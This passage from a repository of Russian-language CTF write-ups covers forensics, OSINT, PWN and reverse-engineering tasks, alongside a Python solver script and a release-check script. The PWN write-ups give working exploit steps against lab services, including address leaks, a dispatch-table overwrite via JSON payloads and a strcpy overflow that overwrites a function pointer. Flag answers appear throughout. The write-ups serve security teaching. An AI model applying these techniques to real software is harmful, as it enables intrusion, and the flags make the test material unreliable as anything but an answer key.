print(" [1b] business_card.png — ИНН: 7707083893 (последние 4 цифры = 3893, совпадает)")
commits = (PUBLIC_DIR / "commits.log").read_text()
# Ищем коммит вида: feat(NT-3893): integrate module-<название>
pattern = rf"feat\({employee_id}\): integrate (module-\w+)"
match = re.search(pattern, commits)
if match:
module_name = match.group(1)
part1 = module_name.replace("module-", "") # Убираем префикс, оставляем только кодовое слово
print(f" [1c] commits.log: '{match.group(0)}'")
print(f" Часть 1: '{part1}'")
return part1
return None
def extract_part2_crumbs():
"""
Часть 2: 'crumbs' (метод второго раунда)
Цепочка: profile_photo.jpg GPS -> 55.7616N, 37.6385E
postal_codes.csv -> находим почтовый индекс 101000, соответствующий этим координатам
столбец sector_code = '6372756d6273' -> hex в ASCII = 'crumbs'
"""
print("\n[Шаг 2] Извлечение части 2: crumbs (через поиск по почтовому индексу)")
# Шаг 2a: Извлекаем GPS-координаты из EXIF-данных фотографии
import piexif
img_path = str(PUBLIC_DIR / "profile_photo.jpg")
exif = piexif.load(img_path)
def parse_gps_coord(coord_data, ref):
"""Конвертируем GPS из формата DMS (градусы/минуты/секунды) в десятичные градусы."""
degrees = coord_data[0][0] / coord_data[0][1]
minutes = coord_data[1][0] / coord_data[1][1]
seconds = coord_data[2][0] / coord_data[2][1]
result = degrees + minutes / 60 + seconds / 3600
if ref in [b'S', b'W']: # Южная широта и западная долгота — отрицательные
result = -result
return result
gps = exif.get("GPS", {})
lat = parse_gps_coord(gps[piexif.GPSIFD.GPSLatitude], gps[piexif.GPSIFD.GPSLatitudeRef])
lon = parse_gps_coord(gps[piexif.GPSIFD.GPSLongitude], gps[piexif.GPSIFD.GPSLongitudeRef])
print(f" [2a] GPS: {lat:.4f}N, {lon:.4f}E (район Чистопрудного бульвара)")
# Шаг 2b: Ищем ближайшую точку в таблице почтовых индексов по манхэттенскому расстоянию
csv_path = PUBLIC_DIR / "postal_codes.csv"
best_match = None
best_dist = float('inf')
with open(csv_path) as f:
reader = csv.DictReader(f)
for row in reader:
rlat = float(row['latitude'])
rlon = float(row['longitude'])
# Манхэттенское расстояние — достаточно для грубого геопоиска
dist = abs(rlat - lat) + abs(rlon - lon)
if dist < best_dist:
best_dist = dist
best_match = row
print(f" [2b] Ближайший индекс: {best_match['postal_code']} ({best_match['district']}, dist={best_dist:.4f})")
print(f" sector_code: {best_match['sector_code']}")
# Шаг 2c: Декодируем hex-строку sector_code в ASCII — это и есть часть флага
hex_str = best_match['sector_code']
decoded = bytes.fromhex(hex_str).decode('ascii')
print(f" [2c] hex -> ASCII: '{decoded}'")
return decoded
def extract_part3_l34d():
"""
Часть 3: 'l34d'
Цепочка: commits.log -> ссылка на коммит SHA 'a7c3e91' во внешнем репозитории
repo_snapshot.txt -> коммит a7c3e91 содержит base64-строку
base64-декодирование -> 'module-l34d-integration-v2.1.0'
"""
print("\n[Шаг 3] Извлечение части 3: l34d")
commits = (PUBLIC_DIR / "commits.log").read_text()
# Ищем отсылку к внешнему репозиторию вида: "See commit <sha> in <repo>"
ref_match = re.search(r"See commit\s+(\w+)\s+in\s+([\w\-\.\/]+)", commits, re.DOTALL)
if not ref_match:
return None
sha_prefix = ref_match.group(1) # Короткий SHA (7 символов)
repo = ref_match.group(2)
print(f" [3a] commits.log ссылается на {sha_prefix} в {repo}")
snapshot = (PUBLIC_DIR / "repo_snapshot.txt").read_text()
# Находим весь блок коммита — от нашего SHA до следующего коммита
commit_pattern = rf"commit {sha_prefix}\w*\n.*?(?=\ncommit [a-f0-9]{{40}}|\Z)"
commit_match = re.search(commit_pattern, snapshot, re.DOTALL)
if not commit_match:
return None
commit_block = commit_match.group(0)
# Ищем все потенциальные base64-строки длиной от 20 символов
b64_pattern = r'[A-Za-z0-9+/]{20,}={0,2}'
b64_matches = re.findall(b64_pattern, commit_block)
for b64_str in b64_matches:
try:
decoded = base64.b64decode(b64_str).decode("utf-8", errors="ignore")
if "module-" in decoded:
# Из строки вида "module-l34d-integration-v2.1.0" берём только кодовое слово
mod_match = re.search(r"module-(\w+)", decoded)
if mod_match:
part3 = mod_match.group(1).split("-")[0] # Только первый сегмент до дефиса
print(f" [3b] base64: {b64_str}")
print(f" decoded: {decoded}")
print(f" Часть 3: '{part3}'")
return part3
except Exception:
continue
return None
def extract_part4_h0m3():
"""
Часть 4: 'h0m3' (метод второго раунда)
Цепочка: browser_render.png -> LSB-стеганография в красном канале
Извлекаем LSB из первых пикселей -> 'h0m3'
"""
print("\n[Шаг 4] Извлечение части 4: h0m3 (через LSB-стеганографию)")
from PIL import Image
import numpy as np
img = Image.open(str(PUBLIC_DIR / "browser_render.png"))
pixels = np.array(img)
# Разворачиваем красный канал (индекс 0) в одномерный массив
flat_r = pixels[:, :, 0].flatten()
# Читаем байты: каждые 8 последовательных LSB пикселей = 1 символ
result = bytearray()
for byte_idx in range(100): # Ограничение на 100 байт во избежание зависания
byte_val = 0
for bit_idx in range(8):
pixel_idx = byte_idx * 8 + bit_idx
byte_val = (byte_val << 1) | (flat_r[pixel_idx] & 1)
if byte_val == 0:
break # Нулевой байт — признак конца скрытых данных
result.append(byte_val)
decoded = result.decode('utf-8', errors='replace')
print(f" [4a] LSB из красного канала (сырые байты): {result}")
print(f" [4b] Декодировано: '{decoded}'")
# Данные могут начинаться с маркера трассировки вида [N/4] — удаляем его
import re
m = re.match(r'\[\d/\d\](.*)', decoded)
if m:
decoded = m.group(1)
print(f" [4c] После удаления маркера трассировки: '{decoded}'")
return decoded
def main():
print("=" * 60)
print("OSINT-задание «Пропавший коллега» — Решение (R2)")
print("=" * 60)
print()
part1 = extract_part1_br34d()
part2 = extract_part2_crumbs()
part3 = extract_part3_l34d()
part4 = extract_part4_h0m3()
print("\n" + "=" * 60)
print("Сборка флага")
print("=" * 60)
print(f" Часть 1 (commits.log через NT-3893): {part1}")
print(f" Часть 2 (sector_code почтового индекса): {part2}")
print(f" Часть 3 (base64 из внешнего репозитория): {part3}")
print(f" Часть 4 (LSB-стего в browser_render.png): {part4}")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,133 @@
<h1 align="center">Needle Harbor</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Forensic-blueviolet" alt="Forensic"/>
<img src="https://img.shields.io/badge/points-Σ_5520-orange" alt="Σ 5520 pts"/>
</p>
<p align="center"><sub><b>этапы:</b> 888 · 919 · 923 · 927 · 930 · 933</sub></p>
У нас в руках два артефакта:
| Файл | Назначение |
|---|---|
| `needleharbor_mem.elf.zst` | Дамп памяти живой Tails-сессии |
| `needleharbor_usb.img` | ext4-образ съёмного носителя, label `INCIDENTUSB` |
На первые четыре вопроса ответы вытаскиваются из строк и ext4-структур, на два hard-уровня — через deleted-file recovery и расшифровку OpenSSL-контейнера.
## Решение
Перед стартом распаковываем дамп и смотрим на типы:
```bash
zstd -d public/needleharbor_mem.elf.zst -o needleharbor_mem.elf
file needleharbor_mem.elf # ELF 64-bit LSB core file
file public/needleharbor_usb.img # Linux ext4 filesystem, label "INCIDENTUSB"
```
**Easy 1 — label съёмного носителя.** `file` прямо по образу честно пишет `volume name "INCIDENTUSB"`. Подтверждаем:
```bash
strings -a needleharbor_mem.elf | grep "by-label/"
# → /dev/disk/by-label/INCIDENTUSB
```
Флаг: `caplag{INCIDENTUSB}`.
**Easy 2 — active operator handle.** Выполняем атрибуцию через HTML интерфейса:
```bash
strings -a needleharbor_mem.elf | grep -i "Restricted Logistics"
# → <title>Needle Harbor // Restricted Logistics Console</title>
strings -a needleharbor_mem.elf | grep "ebb_"
```
Находятся два кандидата:
| Handle | Местоположение | Статус |
|---|---|---|
| `ebb_tide_77` | `<div class="value">` в live dashboard | active |
| `ebb_drift_12` | `<!-- archive handle: -->` | archived |
Рядом с `ebb_tide_77``Credential Alias: needle_harbor` и `Export Queue: 3 ready`. Флаг: `caplag{ebb_tide_77}`.
**Medium 1 — имя удалённого auth-файла.** Переходим к USB-образу:
```bash
debugfs -R "ls /" public/needleharbor_usb.img
# → creds exports lost+found notes ops
debugfs -R "cat /ops/import_checklist.txt" public/needleharbor_usb.img
```
В `import_checklist.txt` прямым текстом расписана процедура:
1. Импортировать `creds/needle_harbor.auth_private` в client authorization store.
2. Удалить `creds/needle_harbor.auth_private` с носителя после импорта.
3. Не трогать `creds/pilot_lamp.auth` — stale public decoy.
Проверяем текущее состояние:
```bash
debugfs -R "ls /creds" public/needleharbor_usb.img
# → needle_harbor.auth pilot_lamp.auth
```
Файла `needle_harbor.auth_private` нет — удалён по инструкции. Флаг: `caplag{needle_harbor.auth_private}`.
**Medium 2 — FQDN clearnet-хоста в Unsafe Browser.** В Tails два браузера: Tor Browser (всё через Tor) и Unsafe Browser (прямой clearnet). Ищем следы второго:
```bash
strings -a needleharbor_mem.elf | grep -i "unsafe-browser"
strings -a needleharbor_mem.elf | grep "Quayside Relay"
# → <title>mail.quayside-relay.net // Quayside Relay</title>
# → <h1>mail.quayside-relay.net</h1>
```
`mail.breakwater-relay.net` тоже мелькает, но только в комментариях и `Previous relay` — decoy. Флаг: `caplag{mail.quayside-relay.net}`.
**Hard 1 — восстановление x25519 private key.** Файл удалён, идём в deleted-file recovery через ext4 inode. [`debugfs -R "lsdel"`](https://man7.org/linux/man-pages/man8/debugfs.8.html) выдаёт список удалённых inode, перебираем и дампим:
```bash
mkdir -p /tmp/needleharbor_recover
for inode in $(debugfs -R "lsdel" public/needleharbor_usb.img 2>/dev/null \
| awk 'NR>3 && $1 ~ /^[0-9]+$/ {print $1}'); do
debugfs -R "dump <$inode> /tmp/needleharbor_recover/$inode.bin" \
public/needleharbor_usb.img >/dev/null 2>&1 || true
done
grep -ra "descriptor:x25519:" /tmp/needleharbor_recover/
```
Результат — в формате [Tor v3 onion client auth](https://community.torproject.org/onion-services/advanced/client-auth/):
```text
<onion>.onion:descriptor:x25519:QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA
```
Ответ: `caplag{QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA}`.
**Hard 2 — расшифровка offline-экспорта.** Извлекаем `exports/restricted_drop.enc``file` опознаёт его как `openssl enc'd data with salted password`. В качестве пароля отлично подходит credential из hard 1:
```bash
openssl enc -d -aes-256-cbc -pbkdf2 \
-in restricted_drop.enc -out restricted_drop.tar \
-k QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA
tar -xf restricted_drop.tar
cat manifest.txt
```
Внутри `manifest.txt` — release token. Флаг: `caplag{tor_did_not_fail_opsec_did}`.
## Все этапы
| # | Уровень | Вопрос | Ответ |
|---|---|---|---|
| 1 | Easy | USB label | `caplag{INCIDENTUSB}` |
| 2 | Easy | Active operator handle | `caplag{ebb_tide_77}` |
| 3 | Medium | Deleted auth filename | `caplag{needle_harbor.auth_private}` |
| 4 | Medium | Unsafe Browser host | `caplag{mail.quayside-relay.net}` |
| 5 | Hard | x25519 private key | `caplag{QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA}` |
| 6 | Hard | Final flag | `caplag{tor_did_not_fail_opsec_did}` |
## Итоговый флаг
`caplag{tor_did_not_fail_opsec_did}`

View File

@@ -0,0 +1,60 @@
<h1 align="center">Mirror Trace</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-OSINT-blueviolet" alt="OSINT"/>
<img src="https://img.shields.io/badge/points-866-orange" alt="866 pts"/>
</p>
На старте у нас есть `mirrortrace_casebundle.zip`, внутри которого dataset'ы и артефакты. Опираемся на seed domain из `00_brief/case_brief.txt` или `10_datasets/seeds.txt`.
## Решение
Берём стартовый домен `panel.mirrortrace-help.example`, смотрим сертификат, и через общий `cert-ms441` разворачивается кластер из шести доменов:
```text
panel.mirrortrace-help.example
status.mirrortrace-help.example
cdn.mirrortrace-help.example
docs.mercury-sustain.example
git.mercury-sustain.example
helpdesk.mercury-sustain.example
```
Внутри кластера довольно быстро проявляются две ветки с людьми:
| Персона | Роль |
|---|---|
| `Viktor Korolev` | Корректный операторский трек |
| `Anton Smirnov` | Правдоподобный same-cluster decoy |
`negotiation_excerpt.txt` и `capture_02.html` указывают, что нужный материал относится к responder baseline, а routing worksheets — это отдельная ветка. То есть правильный путь идёт не через `helpdesk.mercury-sustain.example`, а по responder-цепочке:
```mermaid
flowchart LR
S[status.mirrortrace-help.example] --> D[docs.mercury-sustain.example]
D --> P[doc_01.pdf]
P --> G[git.mercury-sustain.example]
G --> V[vkorolev-dev.example]
```
Фрагменты контрольной фразы получаем в процессе:
| Источник | Фрагмент | Сопутствующие артефакты |
|---|:---:|---|
| `capture_02.html` | `R3TAIN` | retained copy mention |
| `doc_01.pdf` | `ED-C0` | metadata author `vkorolev` |
| `capture_04.html` | `PY-71E` | email, handle, `vkorolev-dev.example` |
| `capture_05.html` | `64DB` | полное имя `Viktor Korolev` |
`capture_04.html` попутно упоминает `helpdesk.mercury-sustain.example` как routing mirror — это не другая цепочка, а decoy-шум внутри уже известного кластера. `capture_03.html` тоже отдаёт не фрагмент, а наводку: legal retained copy note лежит внутри mirrored advisory.
Склеиваем куски в pivot-порядке:
```text
R3TAIN + ED-C0 + PY-71E + 64DB → R3TAINED-C0PY-71E64DB
```
Эта строка — пароль к `20_artifacts/retained_copy.zip`. Внутри архива лежит `final_flag.txt` с ответом.
## Флаг
`caplag{retained_copy_6d8f21c4e9ab}`

View File

@@ -0,0 +1,104 @@
from __future__ import annotations
import csv
import json
import subprocess
import sys
import zipfile
from pathlib import Path
ROOT = Path(__file__).resolve().parents[1]
CONFIG = json.loads((ROOT / "src" / "task_config.json").read_text(encoding="utf-8"))
def require(path: Path) -> None:
if not path.exists():
raise SystemExit(f"missing required file: {path}")
def assert_contains(path: Path, needle: str, error: str) -> None:
if needle not in path.read_text(encoding="utf-8"):
raise SystemExit(error)
def main() -> int:
archive_path = ROOT / "public" / CONFIG["archive_name"]
bundle_dir = ROOT / "public" / "mirrortrace_casebundle"
retained_copy = bundle_dir / "20_artifacts" / CONFIG["retained_copy_name"]
require(ROOT / "public" / "case_brief.txt")
require(ROOT / "public" / "negotiation_excerpt.txt")
require(archive_path)
require(bundle_dir / "10_datasets" / "graph_nodes.csv")
require(bundle_dir / "10_datasets" / "graph_edges.csv")
require(bundle_dir / "20_artifacts" / "doc_01.pdf")
require(bundle_dir / "20_artifacts" / "doc_03.pdf")
require(bundle_dir / "20_artifacts" / "capture_05.html")
require(bundle_dir / "20_artifacts" / "capture_11.html")
require(retained_copy)
assert_contains(
ROOT / "public" / "case_brief.txt",
CONFIG["retained_copy_name"],
"case_brief.txt is missing retained copy reference",
)
doc_01_bytes = (bundle_dir / "20_artifacts" / "doc_01.pdf").read_bytes()
if f"/Author ({CONFIG['correct']['pdf_author']})".encode("ascii") not in doc_01_bytes:
raise SystemExit("doc_01.pdf is missing expected metadata author")
if b"Retained legal copy marker: ED-C0" not in doc_01_bytes:
raise SystemExit("doc_01.pdf is missing expected retained copy marker")
doc_03_bytes = (bundle_dir / "20_artifacts" / "doc_03.pdf").read_bytes()
if f"/Author ({CONFIG['same_cluster_decoy']['pdf_author']})".encode("ascii") not in doc_03_bytes:
raise SystemExit("doc_03.pdf is missing expected same-cluster decoy author")
capture_05 = (bundle_dir / "20_artifacts" / "capture_05.html").read_text(encoding="utf-8")
if CONFIG["correct"]["full_name"] not in capture_05:
raise SystemExit("capture_05.html is missing expected identity")
capture_11 = (bundle_dir / "20_artifacts" / "capture_11.html").read_text(encoding="utf-8")
if CONFIG["same_cluster_decoy"]["personal_domain"] not in capture_11:
raise SystemExit("capture_11.html is missing expected same-cluster decoy pivot")
with (bundle_dir / "10_datasets" / "graph_edges.csv").open(encoding="utf-8", newline="") as fh:
rows = list(csv.DictReader(fh))
expected_edges = {
("panel", "cert_ms441"),
("helpdesk_mercury", "doc_03"),
("git_mercury", "personal_vk"),
("helpdesk_mercury", "personal_as"),
}
actual_edges = {(row["source"], row["target"]) for row in rows}
if not expected_edges.issubset(actual_edges):
raise SystemExit("graph_edges.csv is missing expected hard-mode relations")
subprocess.run(
["unzip", "-P", CONFIG["passphrase"], "-t", str(retained_copy)],
check=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
with zipfile.ZipFile(archive_path) as zf:
expected = {
"mirrortrace_casebundle/00_brief/case_brief.txt",
"mirrortrace_casebundle/10_datasets/graph_nodes.csv",
"mirrortrace_casebundle/10_datasets/graph_edges.csv",
"mirrortrace_casebundle/20_artifacts/doc_01.pdf",
"mirrortrace_casebundle/20_artifacts/doc_03.pdf",
"mirrortrace_casebundle/20_artifacts/capture_05.html",
"mirrortrace_casebundle/20_artifacts/capture_11.html",
f"mirrortrace_casebundle/20_artifacts/{CONFIG['retained_copy_name']}",
}
names = set(zf.namelist())
if not expected.issubset(names):
raise SystemExit("participant archive is missing expected hard-mode files")
print("MirrorTrace offline release check passed.")
return 0
if __name__ == "__main__":
sys.exit(main())

View File

@@ -0,0 +1,28 @@
<h1 align="center">Morning Line</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-OSINT-blueviolet" alt="OSINT"/>
<img src="https://img.shields.io/badge/points-655-yellowgreen" alt="655 pts"/>
</p>
На входе — кадр улицы с временной меткой `2024-11-20 09:14 UTC+0`. Задача: точные координаты места съёмки.
## Решение
Начинаем с общих гипотез по кадру:
| Признак | Что говорит |
|---|---|
| Середина ноября, утро, солнце низкое | Северное полушарие |
| Таймзона `UTC+0` | Район нулевого меридиана |
| Архитектура, узкий тротуар, газон перед домом | Британский пригород |
| Длина и направление теней | Ориентация кадра — отсекает ложные локации |
Дальше отдаём кадр в поиск по картинкам (Google, Яндекс) — подтверждается: это Кембридж. Но в Кембридже километры таких улочек. Точку вытаскиваем по деталям: характерная форма дома, спутниковые тарелки, одиночное дерево у тротуара и плавный изгиб улицы. По совокупности примет определяем конкретное место:
```text
52.189479, 0.149892
```
## Флаг
`caplag{52.1895_0.1499}`

View File

@@ -0,0 +1,21 @@
<h1 align="center">Red Wheelbarrow</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-OSINT-blueviolet" alt="OSINT"/>
<img src="https://img.shields.io/badge/points-551-brightgreen" alt="551 pts"/>
</p>
У нас кадр машины — по нему надо найти конкретный экземпляр с конкретным VIN'ом. Сначала определяем модель, дальше ищем тот `smart`, что изображен на кадре.
## Решение
Марку и модель быстрее всего выдернуть поиском по картинке — Google Картинки, Яндекс или GPT. Ответ:
```text
SMART CITY-COUPE BRABUS
```
Теперь вопрос нужно разобраться с VIN'ом. Кадр явно не любительский, очень похож на скриншот из фильма. Значит, ищем по специализированному датасету — [imcdb.org](https://www.imcdb.org) (Internet Movie Cars Database), куда заливают автомобили из фильмов и сериалов. Ищем по модели `smart Fortwo Brabus`, листаем снимки — среди них находится наш кадр. Открываем карточку машины — в записях указан VIN.
## Флаг
`caplag{WME4503331J289799}`

23
osint-гора/WRITEUP.md Normal file
View File

@@ -0,0 +1,23 @@
<h1 align="center">Гора</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-OSINT-blueviolet" alt="OSINT"/>
<img src="https://img.shields.io/badge/points-975-critical" alt="975 pts"/>
</p>
У нас есть кадр из мультфильма «Тайна третьей планеты» и задача найти дом в Казани. Из подсказок:
| Подсказка | Зацепка |
|---|---|
| Кадр из мультфильма | Год выхода — 1981 |
| Название таска «Гора» | Ищем что-то с «горой» в имени |
| «Не каждая третья — планета» | «Третья» — не номер, а имя |
## Решение
Год выпуска мультфильма — 1981, и это, видимо, не случайно. Идём искать дом в Казани, построенный именно в этом году. На [kontikimaps.ru](https://kontikimaps.ru/how-old/kazan?p=h-kzn) есть удобная карта Казани с фильтром по году постройки. Включаем 1981 — домов всё ещё много, одной фильтрации мало.
Используем вторую подсказку. «Не каждая третья — планета» сначала кажется намёком на мультфильм, но фишка в том, что «Третья» здесь не порядковый номер, а имя собственное. В Казани есть историческое название — «Третья Гора», это часть Вахитовского района, которая сегодня называется улицей Калинина. Смотрим на карту: среди всех домов 1981 года на улице Калинина оказывается ровно один — дом 19.
## Флаг
`caplag{Калинина 19}`

View File

@@ -0,0 +1,36 @@
<h1 align="center">Allocator War</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
<img src="https://img.shields.io/badge/points-996-critical" alt="996 pts"/>
</p>
С первого взгляда обычный каталог: создать запись, изменить описание, посмотреть, удалить. Косяк опять с памятью, там самописный аллокатор с кешем. При старте сервис кладёт флаг в 64-байтный буфер, сохраняет указатель в глобальной `last_freed_ptr` — и этот буфер никогда не чистится.
Создание записи идёт через обычный `malloc`, а вот изменение — через `alloc_or_reuse()`. Если в `edit` попросить буфер ровно такого же размера, как лежит в кеше, аллокатор без проблем отдаст старый буфер с флагом.
## Решение
Первая подсказка скрыта прямо в интерфейсе — в меню есть недокументированная диагностическая команда `9`:
```text
cache: last_freed_size=64, flag_cache_size=64
```
Значит, чтобы выдернуть флаг, надо заставить сервис переиспользовать именно 64-байтный блок, и сделать это на этапе `edit`.
План:
1. Создаём любую запись произвольного размера (лишь бы жила).
2. Редактируем её, просим новый размер `64`.
3. На ввод описания отправляем **пустую строку**.
4. Смотрим запись.
>Сервис сначала выделит буфер из кеша, а потом запишет в него ровно столько байт, сколько пришло от пользователя. Ноль байт = ноль записи, и старое содержимое буфера (флаг) остаётся на месте.
При просмотре сервис печатает и описание, и *hex*-дамп содержимого. В дампе и светится флаг.
Минимальный [солвер](./solve/solver.py).
## Флаг
`caplag{Some_thing_is_here_not_there}`

View File

View File

@@ -0,0 +1,54 @@
<h1 align="center">Бортовой Журнал</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
<img src="https://img.shields.io/badge/points-1000-critical" alt="1000 pts"/>
</p>
Сервис принимает JSON-программы и выполняет над буферами операции в стиле мини-VM: `alloc`, `write`, `read`, `compute`, `typeof`, `free`, `realloc`. Вычислительные функции (`xor`, `rot`, `rev`) лежат внутри C-таблицы указателей `dispatch_table` — и это уже подозрительно, потому что в бинарнике есть скрытая функция победы `win_fn`, читающая `/tmp/flag`. Нужно подложить её адрес в `dispatch_table` и вызвать обычным `compute`.
## Решение
Атака склеивается из двух багов:
| Баг | Что делает |
|---|---|
| `typeof` сливает адреса | Возвращает `data_ptr` буфера, адрес `dispatch_table` и адрес `_emergency_nav` (= `win_fn`) |
| `write` не проверяет `offset` | `dest = buffer.DataPtr + offset` — можно писать куда угодно относительно буфера |
Подбираем `offset = dispatch_table - data_ptr`, и запись в буфер улетает прямиком в таблицу указателей. По сути, воспроизводится тот же принцип, что и классический [GOT overwrite](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got), просто вместо Global Offset Table — user-space jump table.
Эксплуатация в два раунда. В первом — выделяем два буфера и снимаем адреса через `typeof`:
```json
{
"program": [
{"op": "alloc", "id": "a", "size": 256},
{"op": "alloc", "id": "b", "size": 256},
{"op": "typeof", "id": "a"}
]
}
```
Из ответа забираем три адреса:
```text
data_ptr — адрес буфера a
dispatch — адрес dispatch_table
_emergency_nav — адрес win_fn
```
Во втором раунде считаем `offset = dispatch - data_ptr`, пишем в буфер `a` по этому смещению `p64(win_addr)` — и переписываем `dispatch_table[0]` (слот `xor`) адресом `win_fn`. Дальше `compute("b", "xor")` вместо честной xor-функции вызывает `win_fn`, та кладёт флаг в буфер `b`, и обычный `read` с base64-декодом выдаёт результат:
```json
{
"program": [
{"op": "write", "id": "a", "data": "<p64(win)>", "offset": "<dispatch-data_ptr>"},
{"op": "compute", "id": "b", "func": "xor"},
{"op": "read", "id": "b", "count": 256}
]
}
```
## Флаг
`caplag{p3g4s_d1sp4tch_t4bl3_3xpl01t3d}`

View File

@@ -0,0 +1,70 @@
<h1 align="center">Навигация</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
<img src="https://img.shields.io/badge/points-946-orange" alt="946 pts"/>
</p>
Сервис на Go, но парсер зовётся через CGo — и именно в этой части расположено классическое переполнение буфера. В глобальной структуре `Parser` лежит 64-байтное поле имени и три указателя на функции:
```c
typedef struct {
char name[64];
int (*validate)(const uint8_t*, size_t);
void* (*transform)(const uint8_t*, size_t, size_t*);
void (*cleanup)(void*);
} Parser;
```
Сначала указатели выставляются на дефолтные реализации, а потом имя копируется через `strcpy()` без проверки длины. Намечаем вектор: имя длиннее 64 байт ляжет поверх указателя `validate`. А записать туда мы хотим адрес `win()`.
## Решение
Протокол бинарный — 16-байтный little-endian заголовок:
```text
magic = 0xDEADBEEF (4 байта)
type (4 байта)
length (4 байта)
id (4 байта)
```
Команда `STATUS` выдаёт диагностику с адресами всех интересных функций, включая сам `win()` — ASLR снимается одним запросом:
```text
STATUS worker=... cache=0x... parser=0x... win=0x...
```
Дальше отправляем `EXEC` с пейлоадом:
```mermaid
block-beta
columns 10
N["A × 64<br/>64 B<br/>→ name[64]"]:7
V["p64(win)<br/>8 B<br/>→ validate"]:1
X["transform + cleanup<br/>нетронуты"]:2
classDef base fill:#e0e7ff,stroke:#6366f1,color:#312e81
classDef hit fill:#fee2e2,stroke:#dc2626,color:#7f1d1d
classDef muted fill:#f3f4f6,stroke:#9ca3af,color:#4b5563
class N base
class V hit
class X muted
```
Тут нюанс: `strcpy` остановится на первом нулевом байте, а в non-PIE x86-64 адрес `win()` выглядит как `0x00000000004xxxxx` — в начале у него нули. Но в little-endian значимые младшие байты идут первыми, а старшие нули и так уже лежат на нужном месте с момента установки `default_validate`. Поэтому [partial overwrite](https://ir0nstone.gitbook.io/notes/types/stack/partial-overwrites) перепишет только значимую часть, старшие нули оставит как есть — и указатель получается корректный.
Триггер — обычный `PARSE`. Внутри `parse_data()` сервис по-прежнему зовёт `active_parser.validate(data, len)`, но теперь `validate` указывает не на дефолтную реализацию, а на `win()`, которая лезет в `/tmp/flag` и кладёт содержимое в глобальный буфер. Остаётся ещё раз дёрнуть `STATUS` — и сервис в ответе выплёвывает флаг.
Вся цепочка:
| # | Команда | Что происходит |
|---|---|---|
| 1 | `STATUS` | Утечка адреса `win()` |
| 2 | `PARSE` | Проверка, что соединение живое |
| 3 | `EXEC` | Переполнение `name[64]`, перезапись `validate` |
| 4 | `PARSE` | Триггер `win()` — флаг читается в буфер |
| 5 | `STATUS` | Читаем `flag=...` в ответе |
## Флаг
`caplag{g0r0ut1n3_h1j4ck_cg0_pwn3d}`

View File

@@ -0,0 +1,68 @@
<h1 align="center">Ancient Processor</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
<img src="https://img.shields.io/badge/points-912-orange" alt="912 pts"/>
</p>
Мы получаем stripped ELF-бинарник `checker`. По названию таска и описанию можно уловить намек, что внутри сидит эмулятор какого-то «древнего процессора» — значит, вероятно, что сработает reverse эмулятора и восстановление его байткода.
## Решение
Открываем `checker` в IDA или Ghidra и сразу ищем главный цикл интерпретатора — он выдаёт себя большим `switch`'ем по опкодам. По коду VM восстанавливается набор инструкций:
| Категория | Опкоды |
|---|---|
| Стек | `PUSH`, `POP`, `DUP`, `SWAP`, `ROT` |
| Арифметика | `ADD`, `SUB`, `XOR`, `MUL`, `AND`, `OR`, `NOT`, `SHL`, `SHR`, `MOD` |
| Память / переходы | `LOAD`, `STORE`, `JMP`, `JZ`, `CALL`, `RET` |
| I/O | `READ`, `PRINT`, `HALT` |
| Антианализ | `SYSCALL`, `CHECKTIME`, `SELFMOD2` |
Самое интересное лежит в `vm.c`: перед выполнением программы в массив `code` сначала копируется `decoy_program`, а затем поверх него пишется уже расшифрованный `real_program_encrypted`. То есть первая программа — декорация, её можно даже не разбирать. А реальная цель — именно зашифрованная. Рагадка тут, на самом деле, элементарная: каждый байт XOR'ится с 8-байтным ключом. Можно либо выгрузить уже готовый массив из памяти в рантайме, либо вытащить ключ и шифротекст из бинарника и раскрутить всё статикой.
После расшифровки байткод раскладывается в повторяющийся шаблон проверки очередного символа:
```text
READ
PUSH xor_key
XOR
PUSH add_key
ADD
PUSH sub_key
SUB
[иногда MUL]
PUSH expected
CMP
JZ fail
```
Каждый символ флага проверяется независимо, и в обычном случае формула получается такой:
$$\bigl((ch \oplus k_{\mathrm{xor}}) + k_{\mathrm{add}} - k_{\mathrm{sub}}\bigr) \bmod 256 = \mathrm{expected}$$
Отсюда символ восстанавливается в одну строчку:
$$ch = \bigl((\mathrm{expected} + k_{\mathrm{sub}} - k_{\mathrm{add}}) \bmod 256\bigr) \oplus k_{\mathrm{xor}}$$
Но, вохможно и к сожалению, это еще не конец. Если на этом месте пройтись по всем символам и подставить константы — часть результатов не сойдётся. На этом этапе можно логично предположить, что причиной этому скорее всего служит самоизменяющийся код. Инструкция `SELFMOD2` меняет байты прямо внутри выполняющейся программы, и несколько уже прочитанных символов флага используются для модификации XOR-ключей в будущих проверках:
| Символ-источник | Модифицирует ключ символа |
|:---:|:---:|
| 5 | 12 |
| 10 | 18 |
| 15 | 25 |
Для этих позиций статический `xor_key` из байткода брать нельзя — надо считать его динамически с учётом уже восстановленной части флага. Здесь заложена еще одна мелкая подлянка: каждый четвёртый символ перед сравнением умножается на константу (`MUL`), и чтобы его обратить, нужен [modular inverse](https://en.wikipedia.org/wiki/Modular_multiplicative_inverse) по модулю 256.
> Обратное $a^{-1} \bmod 256$ существует только для нечётных $a$ (чтобы $\gcd(a, 256) = 1$) — множители `MUL` в байткоде специально подобраны нечётными, иначе символ флага был бы однозначно невосстановим.
Остальные «защиты» можно игнорировать — это шум:
| Инструкция | Что делает | Эффект |
|---|---|---|
| `SYSCALL` | Читает байт из `/dev/urandom`, кладёт `rnd ^ rnd` в стек | Стабильный `0` |
